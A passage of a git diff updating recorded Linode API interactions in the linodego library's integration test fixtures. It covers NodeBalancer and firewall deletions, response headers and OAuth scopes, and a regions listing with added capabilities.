"ssl_cert": null, "ssl_key": + 694193, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: @@ -436,15 +463,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "435" + - "436" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:36 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -457,9 +488,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -475,7 +509,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441128/configs/670346 + url: https://api.linode.com/v4beta/nodebalancers/694193/configs/1134768 method: DELETE response: body: '{}' @@ -491,15 +525,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:37 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -512,9 +550,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -530,7 +571,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441128 + url: https://api.linode.com/v4beta/nodebalancers/694193 method: DELETE response: body: '{}' @@ -546,15 +587,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:37 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -567,64 +612,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" -- request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228217 - method: DELETE - response: - body: '{}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "2" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestNodeBalancerConfigs_List.yaml b/test/integration/fixtures/TestNodeBalancerConfigs_List.yaml index ebeeb9e66..45cf0fe80 100644 --- a/test/integration/fixtures/TestNodeBalancerConfigs_List.yaml +++ b/test/integration/fixtures/TestNodeBalancerConfigs_List.yaml @@ -1,67 +1,6 @@ --- version: 1 interactions: -- request: - body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls - method: POST - response: - body: '{"id": 228219, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": - [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": - "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": - "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": - "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "526" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" - request: body: "" form: {} @@ -76,176 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, - 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, - 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, - 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, - 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "in-maa", - "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, - 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, - 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, - 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, - 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, - 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, - 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, - 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, - 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, - 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, - 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage - Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, - 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, - 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, 